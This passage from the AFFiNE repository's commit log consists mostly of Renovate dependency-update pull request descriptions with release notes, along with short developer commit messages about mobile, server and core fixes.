| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.14.0` -> `0.14.1`](https://renovatebot.com/diffs/npm/oxlint/0.14.0/0.14.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.14.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.14.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.14.0/0.14.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.14.0/0.14.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.14.1`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.14.1): oxlint v0.14.1

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.14.0...oxlint_v0.14.1)

#### \[0.14.1] - 2024-12-06

##### Features

-   [`fd0935c`](https://redirect.github.com/oxc-project/oxc/commit/fd0935c) linter: Change `react/rules-of-hooks` category to `pedantic` ([#&#8203;7691](https://redirect.github.com/oxc-project/oxc/issues/7691)) (Boshen)
-   [`e64fd95`](https://redirect.github.com/oxc-project/oxc/commit/e64fd95) linter: Map `.js` to `.ts` when resolving with tsconfig.json ([#&#8203;7675](https://redirect.github.com/oxc-project/oxc/issues/7675)) (Boshen)
-   [`bd9d38a`](https://redirect.github.com/oxc-project/oxc/commit/bd9d38a) linter: Implement eslint:yoda ([#&#8203;7559](https://redirect.github.com/oxc-project/oxc/issues/7559)) (tbashiyy)
-   [`a14e76a`](https://redirect.github.com/oxc-project/oxc/commit/a14e76a) linter: Report identical logical expressions in const-comparisons ([#&#8203;7630](https://redirect.github.com/oxc-project/oxc/issues/7630)) (camc314)
-   [`afe1e9b`](https://redirect.github.com/oxc-project/oxc/commit/afe1e9b) linter: Enhance `const-comparisons` for more cases ([#&#8203;7628](https://redirect.github.com/oxc-project/oxc/issues/7628)) (camc314)
-   [`4eb87ea`](https://redirect.github.com/oxc-project/oxc/commit/4eb87ea) linter: RulesOfHooks from nursery to correctness ([#&#8203;7607](https://redirect.github.com/oxc-project/oxc/issues/7607)) (Boshen)
-   [`275d625`](https://redirect.github.com/oxc-project/oxc/commit/275d625) linter: Output rules to json array ([#&#8203;7574](https://redirect.github.com/oxc-project/oxc/issues/7574)) (camc314)
-   [`b8dc333`](https://redirect.github.com/oxc-project/oxc/commit/b8dc333) syntax: Add `ExportEntry::is_type` ([#&#8203;7676](https://redirect.github.com/oxc-project/oxc/issues/7676)) (Boshen)

##### Bug Fixes

-   [`9761e94`](https://redirect.github.com/oxc-project/oxc/commit/9761e94) apps/oxlint: Incorrect matching in `.oxlintignore` ([#&#8203;7566](https://redirect.github.com/oxc-project/oxc/issues/7566)) (dalaoshu)
-   [`7cee065`](https://redirect.github.com/oxc-project/oxc/commit/7cee065) linter: Panic in `yoda` ([#&#8203;7679](https://redirect.github.com/oxc-project/oxc/issues/7679)) (camc314)
-   [`6ae178e`](https://redirect.github.com/oxc-project/oxc/commit/6ae178e) linter: Ignore type references in `no-undef` ([#&#8203;7670](https://redirect.github.com/oxc-project/oxc/issues/7670)) (Boshen)
-   [`fcc2546`](https://redirect.github.com/oxc-project/oxc/commit/fcc2546) linter: Move `no-unused-expressions` from TS to eslint ([#&#8203;7624](https://redirect.github.com/oxc-project/oxc/issues/7624)) (camc314)
-   [`29db060`](https://redirect.github.com/oxc-project/oxc/commit/29db060) linter: Detect typescript eslint alias rules ([#&#8203;7622](https://redirect.github.com/oxc-project/oxc/issues/7622)) (Alexander S.)
-   [`e824501`](https://redirect.github.com/oxc-project/oxc/commit/e824501) linter: False positive in exhaustive-deps ([#&#8203;7626](https://redirect.github.com/oxc-project/oxc/issues/7626)) (camc314)
-   [`8a68ef4`](https://redirect.github.com/oxc-project/oxc/commit/8a68ef4) linter: Update reporting spans for exhaustive-deps ([#&#8203;7625](https://redirect.github.com/oxc-project/oxc/issues/7625)) (camc314)
-   [`543df6e`](https://redirect.github.com/oxc-project/oxc/commit/543df6e) linter: Fix false positives in exhaustive-deps ([#&#8203;7615](https://redirect.github.com/oxc-project/oxc/issues/7615)) (camc314)
-   [`e80214c`](https://redirect.github.com/oxc-project/oxc/commit/e80214c) linter: Fix false positives in rules-of-hooks ([#&#8203;7606](https://redirect.github.com/oxc-project/oxc/issues/7606)) (camc314)
-   [`3dc46a8`](https://redirect.github.com/oxc-project/oxc/commit/3dc46a8) linter: No-unused-expressions false positive with arrow fn expressions ([#&#8203;7585](https://redirect.github.com/oxc-project/oxc/issues/7585)) (Cameron)
-   [`810671a`](https://redirect.github.com/oxc-project/oxc/commit/810671a) linter: Detect vitest jest alias rules ([#&#8203;7567](https://redirect.github.com/oxc-project/oxc/issues/7567)) (Alexander S.)
-   [`4e3044e`](https://redirect.github.com/oxc-project/oxc/commit/4e3044e) linter: Rules-of-hooks fix false positive with default export ([#&#8203;7570](https://redirect.github.com/oxc-project/oxc/issues/7570)) (camc314)

##### Documentation

-   [`f029090`](https://redirect.github.com/oxc-project/oxc/commit/f029090) linter: Update rule documentation ([#&#8203;7684](https://redirect.github.com/oxc-project/oxc/issues/7684)) (camc314)
-   [`4e489bd`](https://redirect.github.com/oxc-project/oxc/commit/4e489bd) linter: Update rule documentation ([#&#8203;7681](https://redirect.github.com/oxc-project/oxc/issues/7681)) (camc314)
-   [`56fe5f8`](https://redirect.github.com/oxc-project/oxc/commit/56fe5f8) linter: Update rule documentation ([#&#8203;7680](https://redirect.github.com/oxc-project/oxc/issues/7680)) (Cameron)

##### Refactor

-   [`a0973dc`](https://redirect.github.com/oxc-project/oxc/commit/a0973dc) linter: Use `BigIntLiteral::raw` field ([#&#8203;7660](https://redirect.github.com/oxc-project/oxc/issues/7660)) (overlookmotel)
-   [`3711a8e`](https://redirect.github.com/oxc-project/oxc/commit/3711a8e) linter: Rename `is_same_reference` to `is_same_expression` ([#&#8203;7654](https://redirect.github.com/oxc-project/oxc/issues/7654)) (camc314)
-   [`b445654`](https://redirect.github.com/oxc-project/oxc/commit/b445654) linter: Use `get_inner_expression` in `const-comparisons` ([#&#8203;7627](https://redirect.github.com/oxc-project/oxc/issues/7627)) (camc314)
-   [`f0e7acc`](https://redirect.github.com/oxc-project/oxc/commit/f0e7acc) syntax: Change `ModuleRecord::not_esm` to `has_module_syntax` ([#&#8203;7579](https://redirect.github.com/oxc-project/oxc/issues/7579)) (Boshen)
-   [`18519de`](https://redirect.github.com/oxc-project/oxc/commit/18519de) syntax: Remove `ModuleRecord::export_default` ([#&#8203;7578](https://redirect.github.com/oxc-project/oxc/issues/7578)) (Boshen)
-   [`d476660`](https://redirect.github.com/oxc-project/oxc/commit/d476660) syntax: Remove `ModuleRecord::exported_bindings_duplicated` because it is a syntax error ([#&#8203;7577](https://redirect.github.com/oxc-project/oxc/issues/7577)) (Boshen)
-   [`17663f5`](https://redirect.github.com/oxc-project/oxc/commit/17663f5) syntax: Remove `ModuleRecord::export_default_duplicated` because it is a syntax error ([#&#8203;7576](https://redirect.github.com/oxc-project/oxc/issues/7576)) (Boshen)
-   [`79014ff`](https://redirect.github.com/oxc-project/oxc/commit/79014ff) syntax: Clean up `ModuleRecord` ([#&#8203;7568](https://redirect.github.com/oxc-project/oxc/issues/7568)) (Boshen)

##### Testing

-   [`be9863a`](https://redirect.github.com/oxc-project/oxc/commit/be9863a) linter: Add more tests fo rules-of-hooks ([#&#8203;7683](https://redirect.github.com/oxc-project/oxc/issues/7683)) (camc314)
-   [`6dd71c6`](https://redirect.github.com/oxc-project/oxc/commit/6dd71c6) linter: Port eslint tests to no-unused-expressions ([#&#8203;7611](https://redirect.github.com/oxc-project/oxc/issues/7611)) (camc314)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-06 09:45:17 +00:00
forehalo 1aff9de981 refactor(server): cleanup selfhost module (#9038) 2024-12-06 09:23:22 +00:00
L-Sun b1c8fca25e refactor(mobile): use bs mobile spec patch (#9046)
Close [BS-2068](https://linear.app/affine-design/issue/BS-2068/移动端-placeholder,去除-space-with-ai)
2024-12-06 09:07:20 +00:00
pengx17 b378af5ade feat(core): at menu ux (#9045)
fix AF-1843
2024-12-06 08:50:13 +00:00
liuyi d6869ca0e7 fix(server): avoid unknown fields in create query (#9047) 2024-12-06 17:49:52 +09:00
doodlewind 8545644bb6 chore: bump blocksuite (#9049) 2024-12-06 08:33:47 +00:00
CatsJuice c9e555d077 feat(mobile): open doc info in explorer (#9040) 2024-12-06 07:14:11 +00:00
CatsJuice dd94fb3450 feat(mobile): add journal conflict block to the top of detail page (#9042) 2024-12-06 06:57:47 +00:00
renovate e83617a556 chore: bump up @blocksuite/affine version to v0.18.3 (#9019)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.18.1` -> `0.18.3`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.18.1/0.18.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.18.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.18.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.18.1/0.18.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.18.1/0.18.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.18.3`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0183)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.18.2...v0.18.3)

##### Patch Changes

-   [`3448094`](https://redirect.github.com/toeverything/blocksuite/commit/3448094): ## Fix

    -   fix(database): storage should be accessed via globalThis ([#&#8203;8863](https://redirect.github.com/toeverything/blocksuite/issues/8863))
    -   fix(edgeless): memory leak in edgeless widgets ([#&#8203;8862](https://redirect.github.com/toeverything/blocksuite/issues/8862))
    -   fix: page switching under starter route ([#&#8203;8860](https://redirect.github.com/toeverything/blocksuite/issues/8860))

### [`v0.18.2`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0182)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.18.1...v0.18.2)

##### Patch Changes

-   [`f97c4ab`](https://redirect.github.com/toeverything/blocksuite/commit/f97c4ab): bump

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-06 06:11:41 +00:00
CatsJuice 53339e3370 fix(component): toast shouldn't cover whole header (#9032) 2024-12-06 01:56:02 +00:00
forehalo 0a1fa8911f refactor(server): better selfhost deployment (#9036) 2024-12-06 01:37:27 +00:00
EYHN f96f08dcec fix(core): oauth callback (#9029) 2024-12-06 00:45:32 +00:00
renovate 4c2fe9f9cc chore: bump up dnd-kit monorepo (major) (#9024)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@dnd-kit/modifiers](https://redirect.github.com/clauderic/dnd-kit) ([source](https://redirect.github.com/clauderic/dnd-kit/tree/HEAD/packages/modifiers)) | [`^8.0.0` -> `^9.0.0`](https://renovatebot.com/diffs/npm/@dnd-kit%2fmodifiers/8.0.0/9.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@dnd-kit%2fmodifiers/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@dnd-kit%2fmodifiers/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@dnd-kit%2fmodifiers/8.0.0/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@dnd-kit%2fmodifiers/8.0.0/9.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@dnd-kit/sortable](https://redirect.github.com/clauderic/dnd-kit) ([source](https://redirect.github.com/clauderic/dnd-kit/tree/HEAD/packages/sortable)) | [`^9.0.0` -> `^10.0.0`](https://renovatebot.com/diffs/npm/@dnd-kit%2fsortable/9.0.0/10.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@dnd-kit%2fsortable/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@dnd-kit%2fsortable/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@dnd-kit%2fsortable/9.0.0/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@dnd-kit%2fsortable/9.0.0/10.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>clauderic/dnd-kit (@&#8203;dnd-kit/modifiers)</summary>

### [`v9.0.0`](https://redirect.github.com/clauderic/dnd-kit/blob/HEAD/packages/modifiers/CHANGELOG.md#900)

[Compare Source](https://redirect.github.com/clauderic/dnd-kit/compare/@dnd-kit/modifiers@8.0.0...@dnd-kit/modifiers@9.0.0)

##### Patch Changes

-   Updated dependencies \[[`0c6a28d`](https://redirect.github.com/clauderic/dnd-kit/commit/0c6a28d1b32c72cfbc6e103c9f430a1e8ebe7301)]:
    -   [@&#8203;dnd-kit/core](https://redirect.github.com/dnd-kit/core)[@&#8203;6](https://redirect.github.com/6).3.0

</details>

<details>
<summary>clauderic/dnd-kit (@&#8203;dnd-kit/sortable)</summary>

### [`v10.0.0`](https://redirect.github.com/clauderic/dnd-kit/blob/HEAD/packages/sortable/CHANGELOG.md#1000)

[Compare Source](https://redirect.github.com/clauderic/dnd-kit/compare/@dnd-kit/sortable@9.0.0...@dnd-kit/sortable@10.0.0)

##### Patch Changes

-   Updated dependencies \[[`0c6a28d`](https://redirect.github.com/clauderic/dnd-kit/commit/0c6a28d1b32c72cfbc6e103c9f430a1e8ebe7301)]:
    -   [@&#8203;dnd-kit/core](https://redirect.github.com/dnd-kit/core)[@&#8203;6](https://redirect.github.com/6).3.0

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-05 15:22:16 +00:00
forehalo 0436e59b6a feat(server): auto init stripe products when development (#9034) 2024-12-05 14:21:59 +00:00
liuyi 4c39b89b98 feat(server): ai trial support (#9031) 2024-12-05 09:39:59 +00:00
forehalo 5bf8ed1095 feat(server): support team workspace subscription (#8919)
close AF-1724, AF-1722
2024-12-05 08:31:01 +00:00
forehalo 4055e3aa67 refactor(server): payment service (#8906) 2024-12-05 08:31:00 +00:00
DarkSky 4fe1b5ba93 chore: adjust copilot ci (#9030) 2024-12-05 07:43:48 +00:00
CatsJuice 06764bbb83 chore(mobile): optimize swipe dialog animation timeline (#9028) 2024-12-05 06:31:28 +00:00
pengx17 7dad9fe816 fix(component): workaround for storybook startup (#9025)
It seems starting up storybook throws error when parsing doc using typescript.
Temporarily remove reactDocgen for now.
![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/db54c528-2b37-4a91-b980-4fe6c07240b7.png)
2024-12-05 05:35:00 +00:00
renovate 1cba9a7b2f chore: bump up @blocksuite/icons version to v2.1.75 (#9017)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/icons](https://redirect.github.com/toeverything/icons) | [`2.1.74` -> `2.1.75`](https://renovatebot.com/diffs/npm/@blocksuite%2ficons/2.1.74/2.1.75) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2ficons/2.1.75?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2ficons/2.1.75?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2ficons/2.1.74/2.1.75?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2ficons/2.1.74/2.1.75?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/icons (@&#8203;blocksuite/icons)</summary>

### [`v2.1.75`](https://redirect.github.com/toeverything/icons/compare/81fef5d8a1a764c19ed082bf156fad5ff672b57d...0f19bd6eb3d41966e8b3d6a52ffa5e8cc8985614)

[Compare Source](https://redirect.github.com/toeverything/icons/compare/81fef5d8a1a764c19ed082bf156fad5ff672b57d...0f19bd6eb3d41966e8b3d6a52ffa5e8cc8985614)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-05 02:21:21 +00:00
renovate 84e11610fb chore: bump up nestjs to v12.2.2 (#9021)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/apollo](https://redirect.github.com/nestjs/graphql) | [`12.2.1` -> `12.2.2`](https://renovatebot.com/diffs/npm/@nestjs%2fapollo/12.2.1/12.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fapollo/12.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fapollo/12.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fapollo/12.2.1/12.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fapollo/12.2.1/12.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/graphql](https://redirect.github.com/nestjs/graphql) | [`12.2.1` -> `12.2.2`](https://renovatebot.com/diffs/npm/@nestjs%2fgraphql/12.2.1/12.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fgraphql/12.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fgraphql/12.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fgraphql/12.2.1/12.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fgraphql/12.2.1/12.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/graphql (@&#8203;nestjs/apollo)</summary>

### [`v12.2.2`](https://redirect.github.com/nestjs/graphql/releases/tag/v12.2.2)

[Compare Source](https://redirect.github.com/nestjs/graphql/compare/v12.2.1...v12.2.2)

##### 12.2.2 (2024-12-04)

##### Enhancements

-   `graphql`
    -   [#&#8203;3346](https://redirect.github.com/nestjs/graphql/pull/3346) refactor(graphql/lib): definitions generator `defaultTypeMapping` type reinforcement ([@&#8203;Neosoulink](https://redirect.github.com/Neosoulink))

##### Dependencies

-   `mercurius`
    -   [#&#8203;3400](https://redirect.github.com/nestjs/graphql/pull/3400) chore(deps): update dependency fastify to v4.29.0 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   Other
    -   [#&#8203;3370](https://redirect.github.com/nestjs/graphql/pull/3370) chore(deps): update dependency graphql-subscriptions to v3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   `graphql`
    -   [#&#8203;3368](https://redirect.github.com/nestjs/graphql/pull/3368) fix(deps): update dependency [@&#8203;nestjs/mapped-types](https://redirect.github.com/nestjs/mapped-types) to v2.0.6 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;3349](https://redirect.github.com/nestjs/graphql/pull/3349) fix(deps): update dependency uuid to v11 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;3372](https://redirect.github.com/nestjs/graphql/pull/3372) fix(deps): update graphql-tools monorepo ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   `apollo`, `graphql`, `mercurius`
    -   [#&#8203;3360](https://redirect.github.com/nestjs/graphql/pull/3360) fix(deps): update dependency tslib to v2.8.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))

##### Committers: 2

-   Antonio Tripodi ([@&#8203;Tony133](https://redirect.github.com/Tony133))
-   Nathan M. ([@&#8203;Neosoulink](https://redirect.github.com/Neosoulink))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-05 02:04:14 +00:00
renovate f07c7f3fbc chore: bump up actions/attest-build-provenance action to v2 (#9023)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [actions/attest-build-provenance](https://redirect.github.com/actions/attest-build-provenance) | action | major | `v1` -> `v2` |

---

### Release Notes

<details>
<summary>actions/attest-build-provenance (actions/attest-build-provenance)</summary>

### [`v2`](https://redirect.github.com/actions/attest-build-provenance/compare/v1...v2)

[Compare Source](https://redirect.github.com/actions/attest-build-provenance/compare/v1...v2)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-05 01:46:16 +00:00
CatsJuice 8ecfe4f3a7 chore: bump theme to support new syntax of cssVarV2 (#9008) 2024-12-05 01:01:52 +00:00
L-Sun f7d20880af test(core): add tests for card view with edgeless mode link (#8887)
Close [BS-1881](https://linear.app/affine-design/issue/BS-1881/page内的edgeless-embed-缩放和坐标定位不太对), [BS-1907](https://linear.app/affine-design/issue/BS-1907/mode=edgeless的cardview转成embed,丢失了mode信息), related PR https://github.com/toeverything/blocksuite/pull/8785, https://github.com/toeverything/blocksuite/pull/8790

This PR adds a test for the fit-to-content feature of the viewport for the embed doc block in edgeless mode.
2024-12-04 08:59:33 +00:00
pengx17 f4f005bffb fix(core): db property number cell should be cast to number (#8937)
fix BS-1962
2024-12-04 07:49:56 +00:00
pengx17 e4f94c7e3f fix(mobile): progress styles (#9001)
fix AF-1875, fix AF-1878, fix AF-1879
2024-12-04 06:56:34 +00:00
pengx17 82d133d64d fix(mobile): doc info radio group width (#9000)
fix AF-1874
2024-12-04 06:56:31 +00:00
pengx17 018b293f2d fix(mobile): tags editor max height (#8999)
fix AF-1873
2024-12-04 06:56:29 +00:00
pengx17 4706f1e2a3 fix(core): date-picker styles (#8997)
fix AF-1871
2024-12-04 06:56:26 +00:00
JimmFly 1fa1a95c10 feat(core): support creating cloud workspaces to different servers (#9006) 2024-12-04 06:39:13 +00:00
pengx17 dddefcf768 fix(core): lit portal rerender (#9012) 2024-12-04 06:20:03 +00:00
EYHN b637a62785 fix(ios): fix login (#9011) 2024-12-04 05:19:41 +00:00
renovate 83c7deeeec chore: Lock file maintenance (#8975)
This PR contains the following updates:

| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |

🔧 This Pull Request updates lock files to use the latest dependency versions.

---

### Configuration

📅 **Schedule**: Branch creation - "* 0-3 * * 1" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-03 16:24:22 +00:00
renovate 8d229ee25b chore: bump up @blocksuite/icons version to v2.1.74 (#9003)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
